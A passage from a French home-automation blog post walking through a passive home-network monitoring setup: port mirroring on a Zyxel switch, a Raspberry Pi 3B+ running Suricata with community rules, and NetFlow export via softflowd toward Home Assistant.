<td>Port 2</td>
<td>Réseau local</td>
</tr>
<tr>
<td>Port 3</td>
<td>Réseau local</td>
</tr>
<tr>
<td>Port 4</td>
<td>Réseau local</td>
</tr>
<tr>
<td>Port 5</td>
<td>Raspberry Pi IDS</td>
</tr>
</tbody>
</table>
<p>Je prépare une petite étiquette que je collerai sur le switch.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-11335" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/switch-mirroring.jpg" alt="" width="447" height="112" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/switch-mirroring.jpg 945w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/switch-mirroring-300x75.jpg 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/switch-mirroring-768x193.jpg 768w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/switch-mirroring-600x150.jpg 600w" sizes="auto, (max-width: 447px) 100vw, 447px" /></p>
<p>et voici le résultat :</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-11336" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/20260508_172509-scaled.jpg" alt="" width="653" height="490" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/20260508_172509-scaled.jpg 2560w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/20260508_172509-300x225.jpg 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/20260508_172509-1024x768.jpg 1024w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/20260508_172509-768x576.jpg 768w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/20260508_172509-1536x1152.jpg 1536w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/20260508_172509-2048x1536.jpg 2048w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/20260508_172509-600x450.jpg 600w" sizes="auto, (max-width: 653px) 100vw, 653px" /></p>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1fa9e.png" alt="🪞" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je configure le Port Mirroring</h3>
<p>Le principe :</p>
<ul>
<li>copier le trafic du port connecté au routeur ;</li>
<li>vers le port du Raspberry Pi.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-11309" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-08-164208.png" alt="" width="650" height="372" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-08-164208.png 967w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-08-164208-300x172.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-08-164208-768x439.png 768w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-08-164208-600x343.png 600w" sizes="auto, (max-width: 650px) 100vw, 650px" /></p>
<p>Paramètres configurés :</p>
<table>
<thead>
<tr>
<th>Paramètre</th>
<th>Valeur</th>
</tr>
</thead>
<tbody>
<tr>
<td>Port Mirroring</td>
<td>Enable</td>
</tr>
<tr>
<td>Mirror Direction</td>
<td>Both</td>
</tr>
<tr>
<td>Mirrored Port</td>
<td>Port 1</td>
</tr>
<tr>
<td>Monitor Port</td>
<td>Port 5</td>
</tr>
</tbody>
</table>
<p>Le mode “Both” est important : il permet de voir le trafic entrant ET sortant.</p>
<h2><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2753.png" alt="❓" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Pourquoi je ne mirror pas tous les ports ?</h2>
<p>C’est une question qui revient souvent.</p>
<p>En pratique :</p>
<ul>
<li>surveiller le port du routeur suffit largement ;</li>
<li>cela permet déjà d’observer tout le trafic Internet ;</li>
<li>sans surcharger inutilement le Raspberry Pi.</li>
</ul>
<p>Mirrorer tous les ports :</p>
<ul>
<li>augmente énormément le volume de trafic ;</li>
<li>génère des doublons ;</li>
<li>et peut saturer le système d’analyse.</li>
</ul>
<p>Pour un réseau domestique, le mirroring du port routeur est largement suffisant.</p>
<h2><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3f7.png" alt="🏷" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je laisse les VLAN par défaut</h2>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-11338" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-142016.png" alt="" width="650" height="461" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-142016.png 966w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-142016-300x213.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-142016-768x545.png 768w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-142016-600x425.png 600w" sizes="auto, (max-width: 650px) 100vw, 650px" /></p>
<p>Aucune configuration VLAN particulière n’a été nécessaire, j&rsquo;ai tout laissé par défaut.</p>
<p>Tous les ports restent :</p>
<ul>
<li>dans le VLAN 1 ;</li>
<li>en mode untagged.</li>
</ul>
<p>Pour une installation résidentielle classique, cela fonctionne parfaitement.</p>
<h2><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2699.png" alt="⚙" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je laisse QoS, LAG et IGMP presque par défaut</h2>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-11339" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-142139.png" alt="" width="649" height="554" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-142139.png 966w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-142139-300x256.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-142139-768x656.png 768w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-09-142139-600x512.png 600w" sizes="auto, (max-width: 649px) 100vw, 649px" /></p>
<p>Les autres fonctions avancées du switch ont été laissées par défaut :</p>
<ul>
<li>pas de Link Aggregation ;</li>
<li>pas de QoS spécifique ;</li>
<li>IGMP Snooping activé ;</li>
<li>EEE désactivé.</li>
</ul>
<p>L’objectif est de garder :</p>
<ul>
<li>un comportement simple ;</li>
<li>stable ;</li>
<li>prévisible.</li>
</ul>
<h2><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f967.png" alt="🥧" class="wp-smiley" style="height: 1em; max-height: 1em;" /> J’installe le Raspberry Pi de supervision réseau</h2>
<p>Une fois le switch manageable configuré et le port de mirroring opérationnel, il fallait maintenant mettre en place le capteur réseau capable d’analyser le trafic du réseau domestique.</p>
<p>L’objectif n’était pas de bloquer le trafic ni de remplacer le routeur, mais simplement de mettre en place un système de supervision totalement passif capable d’observer ce qu’il se passe sur le réseau local.</p>
<p>L’idée est simple : le switch Zyxel duplique le trafic réseau grâce au port mirroring, puis envoie cette copie vers un Raspberry Pi dédié à l’analyse.</p>
<p>Le Raspberry devient alors une sorte de “caméra de surveillance réseau”, capable d’observer les équipements connectés, les connexions externes, les échanges DNS, les flux TLS, les comportements suspects ou encore certaines attaques connues.</p>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f914.png" alt="🤔" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Pourquoi j’utilise un Raspberry Pi ?</h3>
<p>Le Raspberry Pi est parfait pour ce type d’usage :</p>
<ul>
<li>faible consommation électrique ;</li>
<li>fonctionnement totalement silencieux ;</li>
<li>coût réduit ;</li>
<li>format compact ;</li>
<li>parfait pour fonctionner 24h/24.</li>
</ul>
<p>J’avais plusieurs modèles disponibles à la maison : Raspberry Pi 3, 3B et 3B+.</p>
<p>Le choix s’est finalement porté sur un Raspberry Pi 3B+ qui offre un bon compromis entre puissance, stabilité et consommation.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-11340" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/raspberrypi3bplus.png" alt="" width="439" height="308" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/raspberrypi3bplus.png 860w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/raspberrypi3bplus-300x211.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/raspberrypi3bplus-768x539.png 768w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/raspberrypi3bplus-600x421.png 600w" sizes="auto, (max-width: 439px) 100vw, 439px" /></p>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4be.png" alt="💾" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je choisis le stockage</h3>
<p>Je voulais éviter les cartes microSD classiques.</p>
<p>Même si elles fonctionnent très bien pour des projets simples, elles supportent mal les écritures intensives sur le long terme, surtout lorsqu’il s’agit de générer des logs réseau en permanence.</p>
<p>J’ai donc choisi d’utiliser :</p>
<ul>
<li>un SSD SATA 2.5 ;</li>
<li>un adaptateur USB vers SATA ;</li>
<li>Raspberry Pi OS Lite 64 bits.</li>
</ul>
<p>L’objectif était d’obtenir une installation :</p>
<ul>
<li>plus fiable ;</li>
<li>plus rapide ;</li>
<li>plus durable ;</li>
<li>et plus stable dans le temps.</li>
</ul>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9f0.png" alt="🧰" class="wp-smiley" style="height: 1em; max-height: 1em;" /> J’installe le système</h3>
<p>Le système a été installé avec Raspberry Pi Imager directement sur le SSD.</p>
<p>J’ai choisi :</p>
<ul>
<li>Raspberry Pi OS Lite 64 bits ;</li>
<li>connexion Wi-Fi préconfigurée ;</li>
<li>SSH activé dès l’installation ;</li>
<li>nom d’hôte personnalisé ;</li>
<li>mise à jour automatique du système après le premier démarrage.</li>
</ul>
<p>À peine démarré, le Raspberry est immédiatement apparu sur le réseau Wi-Fi domestique.</p>
<p>Une IP fixe lui a ensuite été attribuée depuis le routeur Synology afin de faciliter l’administration à distance.</p>
<p>A ce stade, je fixe l&rsquo;adresse IP, chacun sa méthode, je le fais sur le routeur Synology mais cela peut se faire sur le Raspberry, à noter qu&rsquo;à partir d&rsquo;ici, à chaque fois que j&rsquo;utiliserai <em><strong>192.168.1.222, ce sera l&rsquo;IP du Raspberry</strong></em>.</p>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1fa7a.png" alt="🩺" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je vérifie que la base système est saine</h3>
<p>Avant d’installer Suricata, j’ai préféré vérifier que la base système était saine.</p>
<p>L’idée était simple : avant de transformer le Raspberry en sonde réseau 24h/24, il fallait s’assurer que le système démarrait bien sur le SSD, que l’alimentation était stable, que la température était correcte et que les interfaces réseau étaient dans l’état attendu.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e6.png" alt="📦" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Mise à jour complète du système</h4>
<pre><code>sudo apt update &amp;&amp; sudo apt full-upgrade -y</code></pre>
<p>Après la mise à jour, un redémarrage permet de repartir sur une base propre :</p>
<pre><code>sudo reboot</code></pre>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4bd.png" alt="💽" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je vérifie que le Raspberry démarre bien sur le SSD</h4>
<pre><code>lsblk</code></pre>
<p>Résultat attendu :</p>
<pre><code>sda
├─sda1  /boot/firmware
└─sda2  /</code></pre>
<p>Le point important ici est de voir que la partition racine <code>/</code> est bien montée depuis <code>/dev/sda2</code>.</p>
<p>Cela confirme que le Raspberry démarre bien sur le SSD USB et non sur une carte microSD.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4ca.png" alt="📊" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je vérifie l’espace disque disponible</h4>
<pre><code>df -h</code></pre>
<p>Résultat attendu :</p>
<pre><code>/dev/sda2   29G   3.0G   25G   11%   /
/dev/sda1  505M    65M  440M   13%   /boot/firmware</code></pre>
<p>Dans mon cas, le SSD de 32 Go offre largement assez d’espace pour le système, Suricata et les logs, à condition de mettre en place une rotation automatique des fichiers.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f310.png" alt="🌐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je vérifie les interfaces réseau</h4>
<pre><code>ip a</code></pre>
<p>Résultat attendu avant branchement du port miroir :</p>
<pre><code>eth0: &lt;NO-CARRIER,BROADCAST,MULTICAST,UP&gt;
wlan0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt;
    inet 192.168.1.22/24</code></pre>
<p>Dans cette architecture, le Wi-Fi sert à administrer le Raspberry en SSH.</p>
<p>L’interface Ethernet <code>eth0</code>, elle, sera réservée à la capture du trafic réseau en provenance du port miroir du switch.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f321.png" alt="🌡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je vérifie la température</h4>
<pre><code>vcgencmd measure_temp</code></pre>
<p>Résultat obtenu :</p>
<pre><code>temp=40.8'C</code></pre>
<p>Une température autour de 40 à 60 °C est parfaitement correcte pour ce type d’usage.</p>
<p>Le Raspberry pourra donc fonctionner en continu sans problème particulier.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50c.png" alt="🔌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je vérifie l’alimentation et le throttling</h4>
<pre><code>vcgencmd get_throttled</code></pre>
<p>Résultat attendu :</p>
<pre><code>throttled=0x0</code></pre>
<p>C’est un point très important.</p>
<p>La valeur <code>0x0</code> signifie que le Raspberry ne détecte :</p>
<ul>
<li>ni sous-tension ;</li>
<li>ni limitation de fréquence ;</li>
<li>ni problème d’alimentation.</li>
</ul>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je vérifie que le système est bien en 64 bits</h4>
<pre><code>uname -a</code></pre>
<p>Résultat attendu :</p>
<pre><code>aarch64 GNU/Linux</code></pre>
<p>La présence de <code>aarch64</code> confirme que Raspberry Pi OS Lite 64 bits est bien installé.</p>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e1.png" alt="🛡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> J’installe Suricata</h3>
<p>Une fois le Raspberry entièrement opérationnel, j’ai installé le moteur IDS (Intrusion Detection System) qui va analyser le trafic réseau : Suricata.</p>
<p>Le choix de Suricata s’est imposé assez naturellement :</p>
<ul>
<li>open source ;</li>
<li>très utilisé dans le monde professionnel ;</li>
<li>analyse avancée des protocoles ;</li>
<li>support des logs JSON ;</li>
<li>compatibilité Home Assistant ;</li>
<li>détection des anomalies réseau ;</li>
<li>empreintes JA3 et JA4 ;</li>
<li>mise à jour automatique des règles.</li>
</ul>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e6.png" alt="📦" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Installation de Suricata</h4>
<pre><code>sudo apt install suricata -y</code></pre>
<p>Une fois l’installation terminée, j’ai vérifié la version ainsi que les fonctionnalités compilées :</p>
<pre><code>suricata --build-info</code></pre>
<p>Résultat attendu :</p>
<pre><code>This is Suricata version 7.x
AF_PACKET support: yes
eBPF support: yes
JA3 support: yes
JA4 support: yes</code></pre>
<p>Cette étape permet de confirmer :</p>
<ul>
<li>que Suricata est bien installé ;</li>
<li>que le support réseau Linux est actif ;</li>
<li>que les empreintes JA3/JA4 sont disponibles ;</li>
<li>que le moteur fonctionne correctement sur Raspberry Pi.</li>
</ul>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je vérifie le service Suricata</h4>
<pre><code>sudo systemctl status suricata</code></pre>
<p>Résultat attendu :</p>
<pre><code>Active: active (running)</code></pre>
<p>Le service démarre automatiquement au boot du Raspberry.</p>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4da.png" alt="📚" class="wp-smiley" style="height: 1em; max-height: 1em;" /> J’installe les règles de détection</h3>
<p>Par défaut, Suricata ne contient quasiment aucune règle active.</p>
<p>Il faut donc télécharger une base de signatures réseau.</p>
<p>J’ai choisi les règles communautaires Emerging Threats Open.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e6.png" alt="📦" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Installation de suricata-update</h4>
<pre><code>sudo apt install suricata-update -y</code></pre>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2b07.png" alt="⬇" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Téléchargement des règles</h4>
<pre><code>sudo suricata-update</code></pre>
<p>Résultat attendu :</p>
<pre><code>Loaded 65950 rules
Writing rules to /var/lib/suricata/rules/suricata.rules</code></pre>
<p>Plus de 50 000 signatures de détection ont alors été installées automatiquement.</p>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f527.png" alt="🔧" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je configure le réseau du Raspberry</h3>
<p>À ce stade, un point extrêmement important devait être traité :</p>
<p>Le Raspberry ne doit jamais communiquer sur le réseau via son interface de capture.</p>
<p>Le port connecté au port miroir du switch doit uniquement écouter le trafic réseau, sans jamais envoyer de paquets.</p>
<p>Pour cela :</p>
<ul>
<li>aucune adresse IP ne doit être présente sur <code>eth0</code> ;</li>
<li>aucun DHCP ;</li>
<li>aucune passerelle ;</li>
<li>aucun trafic sortant ;</li>
<li>mode PROMISC obligatoire.</li>
</ul>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50e.png" alt="🔎" class="wp-smiley" style="height: 1em; max-height: 1em;" /> J’identifie le gestionnaire réseau utilisé</h4>
<pre><code>nmcli device status</code></pre>
<p>Résultat obtenu :</p>
<pre><code>eth0 ethernet connected netplan-eth0
wlan0 wifi connected netplan-wlan0</code></pre>
<p>Cela confirme que le système utilise NetworkManager.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6ab.png" alt="🚫" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je désactive IPv4 et IPv6 sur eth0</h4>
<pre><code>sudo nmcli connection modify netplan-eth0 ipv4.method disabled
sudo nmcli connection modify netplan-eth0 ipv6.method disabled</code></pre>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f504.png" alt="🔄" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je redémarre la connexion réseau</h4>
<pre><code>sudo nmcli connection down netplan-eth0
sudo nmcli connection up netplan-eth0</code></pre>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f442.png" alt="👂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> J’active le mode PROMISC en permanence</h4>
<p>Le mode promiscuous permet à la carte réseau de recevoir tous les paquets copiés par le switch.</p>
<p>Création d’un service systemd :</p>
<pre><code>sudo nano /etc/systemd/system/promisc-eth0.service</code></pre>
<p>Contenu du fichier :</p>
<pre><code>[Unit]
Description=Enable promiscuous mode on eth0
After=network.target

[Service]
Type=oneshot
ExecStart=/usr/sbin/ip link set eth0 promisc on

[Install]
WantedBy=multi-user.target</code></pre>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/25b6.png" alt="▶" class="wp-smiley" style="height: 1em; max-height: 1em;" /> J’active le service</h4>
<pre><code>sudo systemctl enable promisc-eth0
sudo systemctl start promisc-eth0</code></pre>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je vérifie l’interface réseau</h4>
<pre><code>ip a</code></pre>
<p>Résultat attendu :</p>
<pre><code>eth0: &lt;BROADCAST,MULTICAST,PROMISC,UP,LOWER_UP&gt;</code></pre>
<p>Très important :</p>
<ul>
<li>aucune adresse IP ;</li>
<li>aucune ligne <code>inet</code> ;</li>
<li>mode <code>PROMISC</code> actif.</li>
</ul>
<p>Le Raspberry devient alors une véritable sonde réseau passive.</p>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50c.png" alt="🔌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je branche le port miroir</h3>
<p>Une fois le Raspberry prêt, le port 5 du switch Zyxel configuré en port miroir a été relié directement au port Ethernet du Raspberry Pi.</p>
<p>À partir de ce moment, le Raspberry commence à recevoir une copie du trafic réseau.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-11369" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/20260515_141740.jpg" alt="" width="649" height="487" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/20260515_141740.jpg 1723w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/20260515_141740-300x225.jpg 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/20260515_141740-1024x768.jpg 1024w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/20260515_141740-768x576.jpg 768w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/20260515_141740-1536x1152.jpg 1536w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/20260515_141740-600x450.jpg 600w" sizes="auto, (max-width: 649px) 100vw, 649px" /></p>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e1.png" alt="📡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je fais un premier test de capture réseau</h3>
<p>Avant de lancer Suricata, j’ai préféré vérifier que le mirroring fonctionnait réellement.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e6.png" alt="📦" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Installation de tcpdump</h4>
<pre><code>sudo apt install tcpdump -y</code></pre>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9ea.png" alt="🧪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Capture de test</h4>
<pre><code>sudo tcpdump -i eth0 -nn -c 20</code></pre>
<p>Résultat obtenu :</p>
<pre><code>IP 192.168.1.x &gt; 192.168.1.x
UDP, length 70
ICMP echo request
HTTPS traffic
DNS traffic</code></pre>
<p>Le trafic réseau a immédiatement commencé à défiler :</p>
<ul>
<li>requêtes DNS ;</li>
<li>trafic HTTPS ;</li>
<li>communications IoT ;</li>
<li>flux internes ;</li>
<li>ICMP ;</li>
<li>connexions réseau diverses.</li>
</ul>
<p>Cela confirmait que :</p>
<ul>
<li>le port miroir Zyxel fonctionnait parfaitement ;</li>
<li>le Raspberry recevait bien une copie du trafic ;</li>
<li>la capture passive était opérationnelle.</li>
</ul>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2699.png" alt="⚙" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je configure Suricata</h3>
<p>Le fichier principal de configuration se trouve ici :</p>
<pre><code>/etc/suricata/suricata.yaml</code></pre>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3e0.png" alt="🏠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je déclare le réseau local</h4>
<p>J’ai adapté le réseau local à mon installation :</p>
<pre><code>HOME_NET: "[192.168.1.0/24]"</code></pre>
<p>Cela améliore :</p>
<ul>
<li>la précision des alertes ;</li>
<li>les performances ;</li>
<li>la détection des flux internes et externes.</li>
</ul>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9ec.png" alt="🧬" class="wp-smiley" style="height: 1em; max-height: 1em;" /> J’active les empreintes JA3 et JA4</h4>
<p>Les empreintes JA3/JA4 permettent d’identifier certains comportements TLS de manière très précise.</p>
<p>Activation dans le bloc TLS :</p>
<pre><code>ja3-fingerprints: yes
ja4-fingerprints: yes</code></pre>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je valide la configuration</h4>
<pre><code>sudo suricata -T -c /etc/suricata/suricata.yaml</code></pre>
<p>Résultat attendu :</p>
<pre><code>Configuration provided was successfully loaded</code></pre>
<p>Cette commande est extrêmement utile :</p>
<ul>
<li>détection des erreurs YAML ;</li>
<li>validation des règles ;</li>
<li>contrôle des chemins ;</li>
<li>vérification globale de la configuration.</li>
</ul>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" alt="🚀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je démarre Suricata</h3>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f504.png" alt="🔄" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je redémarre le service</h4>
<pre><code>sudo systemctl restart suricata</code></pre>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4ca.png" alt="📊" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je vérifie le statut</h4>
<pre><code>sudo systemctl status suricata</code></pre>
<p>Résultat attendu :</p>
<pre><code>Active: active (running)</code></pre>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4dc.png" alt="📜" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je valide les logs réseau</h3>
<p>Le cœur du système repose sur le fichier JSON généré par Suricata :</p>
<pre><code>/var/log/suricata/eve.json</code></pre>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f440.png" alt="👀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Visualisation en temps réel</h4>
<pre><code>sudo tail -f /var/log/suricata/eve.json</code></pre>
<p>En générant un peu de trafic réseau (YouTube, navigation web, objets connectés…), les premiers événements apparaissent immédiatement :</p>
<pre><code>"event_type":"flow"
"event_type":"dns"
"event_type":"tls"
"event_type":"http"</code></pre>
<p>Cela confirme que :</p>
<ul>
<li>Suricata analyse correctement les paquets ;</li>
<li>les protocoles sont décodés ;</li>
<li>les logs JSON sont exploitables ;</li>
<li>la supervision réseau fonctionne réellement.</li>
</ul>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f5c2.png" alt="🗂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je mets en place une rotation automatique des logs</h3>
<p>Un système de supervision réseau génère énormément de logs.</p>
<p>Il est donc indispensable de mettre en place une rotation automatique afin d’éviter le remplissage du SSD.</p>
<h4><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2699.png" alt="⚙" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Configuration logrotate</h4>
<pre><code>sudo nano /etc/logrotate.d/suricata</code></pre>
<p>Configuration utilisée :</p>
<pre><code>/var/log/suricata/*.log
/var/log/suricata/*.json
{
        daily
        rotate 14
        missingok
        notifempty
        compress
        delaycompress
        copytruncate
        sharedscripts
        postrotate
                /bin/kill -HUP $(cat /var/run/suricata.pid) 2&gt;/dev/null || true
        endscript
}</code></pre>
<p>Cette configuration :</p>
<ul>
<li>conserve 14 jours d’historique ;</li>
<li>compresse les anciens logs ;</li>
<li>évite les erreurs si Suricata redémarre ;</li>
<li>limite fortement l’usure du SSD.</li>
</ul>
<h2><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e1.png" alt="📡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> J’exporte les flux réseau vers Home Assistant avec softflowd</h2>
<p>Une fois Suricata opérationnel en mode IDS passif, l’objectif suivant était de transmettre des métadonnées réseau vers Home Assistant afin de pouvoir créer des tableaux de bord, des graphiques d’activité et des alertes intelligentes.</p>
<p>Pour cela, j’ai ajouté <strong>softflowd</strong>, un exporteur NetFlow léger parfaitement adapté à un Raspberry Pi 3B+.</p>
<p>L’idée est simple :</p>
<ul>
<li>Suricata inspecte les paquets ;</li>
<li>softflowd observe les flux réseau ;</li>
<li>Home Assistant centralise et visualise l’activité.</li>
</ul>
<p>Cette approche permet d’obtenir une supervision réseau avancée sans transformer le Raspberry en routeur ou en firewall actif.</p>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e6.png" alt="📦" class="wp-smiley" style="height: 1em; max-height: 1em;" /> J’installe softflowd</h3>
<p>L’installation est très simple :</p>
<pre><code class="language-bash">sudo apt install softflowd -y</code></pre>
<p>Une fois installé, il fallait identifier quelle interface réseau recevait le trafic miroir du switch Zyxel.</p>
<p>Comme précédemment, la commande suivante permet de vérifier l’état réseau :</p>
<pre><code class="language-bash">ip a</code></pre>
<p>Résultat observé :</p>
<pre><code class="language-text">2: eth0: &lt;BROADCAST,MULTICAST,PROMISC,UP,LOWER_UP&gt;
3: wlan0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt;</code></pre>
<p>L’interface <strong>eth0</strong> est donc bien :</p>
<ul>
<li>connectée ;</li>
<li>active ;</li>
<li>en mode PROMISC ;</li>
<li>sans adresse IP.</li>
</ul>
<p>C’est exactement ce que je recherchais :</p>
<ul>
<li><strong>eth0</strong> reçoit uniquement le trafic miroir du switch ;</li>
<li><strong>wlan0</strong> sert à administrer le Raspberry et à envoyer les données vers Home Assistant.</li>
</ul>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9ea.png" alt="🧪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je fais un premier test manuel</h3>
<p>Avant toute automatisation, j’ai lancé softflowd manuellement pour vérifier le fonctionnement :</p>
<pre><code class="language-bash">sudo softflowd -i eth0 -n 192.168.1.222:2055</code></pre>
<p>Le Raspberry ne renvoie quasiment aucun message à l’écran, ce qui est normal.</p>
<p>Le programme se lance directement en arrière-plan.</p>
